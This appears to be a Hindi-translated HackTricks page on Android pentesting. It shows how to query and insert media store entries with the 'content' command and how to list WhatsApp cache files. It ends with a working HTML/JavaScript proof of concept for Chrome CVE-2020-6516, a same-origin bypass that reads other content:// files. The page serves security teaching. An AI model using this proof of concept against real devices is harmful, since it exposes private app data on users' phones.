hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

16 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

कंटेंट प्रोवाइडर्स के साथ प्रयोग करने के लिए, एंड्रॉइड डिवाइस पर content कमांड का उपयोग किया जा सकता है। रूट एक्सेस आवश्यक नहीं है। उदाहरण के लिए, मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों की सूची देखने के लिए, निम्नलिखित कमांड को निष्पादित किया जा सकता है:

$ content query --uri content://media/external/file

आउटपुट को और मानव-मित्र बनाने के लिए, हर इंडेक्स फ़ाइल की पहचानकर्ता और पथ को प्रदर्शित करने के लिए स्तम्भों की संख्या पर सीमा लगा सकते हैं।

$ content query --uri content://media/external/file --projection _id,_data

मीडिया प्रदाताओं का अपना निजी नेमस्पेस होता है। उपरोक्त उदाहरण में दिखाया गया है कि कंटेंट प्रोवाइडर तक पहुंचने के लिए संबंधित content:// URI को निर्दिष्ट किया जाना चाहिए। सामान्यतः, प्रदाता तक पहुंच के लिए पथों पर जानकारी, एप्लिकेशन मेनिफेस्ट (यदि कंटेंट प्रोवाइडर एक एप्लिकेशन द्वारा निर्यात की जाती है) या Android फ्रेमवर्क के स्रोत कोड की जांच करके प्राप्त की जा सकती है।

दिलचस्प बात यह है कि Android उपकरणों पर Chrome content:// स्कीम के माध्यम से कंटेंट प्रोवाइडर तक पहुंच का समर्थन करता है। यह सुविधा ब्राउज़र को तृतीय पक्ष एप्लिकेशन द्वारा निर्यात की गई संसाधनों (जैसे फ़ोटो, दस्तावेज़ आदि) तक पहुंच देती है। इसे सत्यापित करने के लिए, कोई भी व्यक्तिगत प्रविष्टि मीडिया स्टोर में डाली जा सकती है और फिर उसे ब्राउज़र का उपयोग करके एक्सेस किया जा सकता है:

$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

नवीनतम डाली गई फ़ाइल की पहचानकर्ता खोजने के लिए:

$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt

और वास्तव में फ़ाइल को क्रोम में देखने के लिए, व्यक्ति एक URL का उपयोग कर सकता है जैसा कि निम्न चित्र में दिखाया गया है। ध्यान दें URL में उपयोग किए जाने वाले फ़ाइल पहचानकर्ता 747 (पहले खोजा गया) है जो URL में संकेतक के रूप में उपयोग किया जाता है।

Chrome "Hello, world!"

उदाहरण के लिए, आप WhatsApp से संबंधित सभी फ़ाइलों की सूची बना सकते हैं:

$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...

Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...

Chrome CVE-2020-6516 Same-Origin-Policy बाईपास

ब्राउज़र में समान मूल नीति (SOP) [12] यह निर्धारित करती है कि URL A की जावास्क्रिप्ट सामग्री केवल URL B की सामग्री तक ही पहुंच सकेगी अगर A और B के लिए निम्नलिखित URL गुण समान रहें:

  • प्रोटोकॉल जैसे https vs. http
  • डोमेन जैसे www.example1.com vs. www.example2.com
  • पोर्ट जैसे www.example1.com:8080 vs. www.example1.com:8443

बेशक, इन नियमों के लिए छूट होती हैं, लेकिन सामान्यतः, https://www.example1.com से आयातित संसाधन (जैसे जावास्क्रिप्ट कोड) https://www.example2.com के DOM तक पहुंच नहीं पा सकता है, क्योंकि इससे गंभीर जानकारी लीक हो सकती है। यदि क्रॉस-मूल-संसाधन-साझाकरण (CORS) नीति इसे व्यक्तिगत रूप से अनुमति देती है, तो वेब संसाधन को SOP नियमों को दुर्भाग्यपूर्ण रूप से दूर करना संभव नहीं होना चाहिए।

महत्वपूर्ण यह है कि Chrome content:// को स्थानीय योजना के रूप में मानता है, जैसे file://। इस मामले में SOP नियम और भी सख्त होते हैं, क्योंकि प्रत्येक स्थानीय योजना URL को अलग मूल माना जाता है। उदाहरण के लिए, file:///tmp/test.html में से चल रहे जावास्क्रिप्ट कोड को file:///tmp/test2.html की सामग्री तक पहुंच नहीं होनी चाहिए, या फिर फ़ाइल सिस्टम पर किसी भी अन्य फ़ाइल तक। इस प्रकार, SOP नियमों के अनुसार, content:// के माध्यम से लोड किए गए संसाधन कोई भी अन्य content:// संसाधन तक पहुंच नहीं होनी चाहिए। अच्छा, Chrome की CVE-2020-6516 ने इस नियम को "छोड़" दिया है।

CVE-2020-6516 [03] content:// URL के माध्यम से लोड किए गए संसाधनों पर SOP बाईपास है। उदाहरण के लिए, content://com.example.provider/test.html से चल रहे HTML दस्तावेज़ के संदर्भ में चल रहा जावास्क्रिप्ट कोड किसी भी अन्य content:// URL को लोड और पहुंच सकता है। यह एक गंभीर सुरक्षा दुर्बलता है, विशेष रूप से Android 9 या पिछले संस्करणों के उपकरणों पर चल रहे। इन उपकरणों पर सीमित संग्रहण [13] को लागू नहीं किया गया है और, परिणामस्वरूप, सिस्टम के मीडिया स्टोर सामग्री प्रदाता के माध्यम से /sdcard के तहत अनुप्रयोग-विशिष्ट डेटा और और अधिक महत्वपूर्ण रूप से /sdcard/Android के तहत डेटा तक पहुंच की जा सकती है।

एक प्रमाण-ऑफ-कांसेप्ट बहुत सरल है। /sdcard के तहत अपलोड किए गए एक HTML दस्तावेज़ का उपयोग XMLHttpRequest करके विषम content:// URL तक पहुंच करता है। फिर इसे मीडिया स्टोर में जोड़ा जाता है और च्रोम में प्रदर्शित किया जाता है, पहले दिए गए उदाहरण की तरह। प्रदर्शन के उद्देश्यों के लिए, कोशिश की जा सकती है कि content://media/external/file/747 को लोड किया जाए, जो वास्तव में "Hello, world!" उदाहरण का मीडिया स्टोर URL है। आश्चर्यजनक रूप से, HTML दस्तावेज़ के मूल के अंदर चल रहा जावास्क्रिप्ट कोड, सामग्री को लाएगा और test.txt की सामग्री को प्राप्त करेगा और प्रदर्शित करेगा।

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

इस लेख से ली गई जानकारी: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥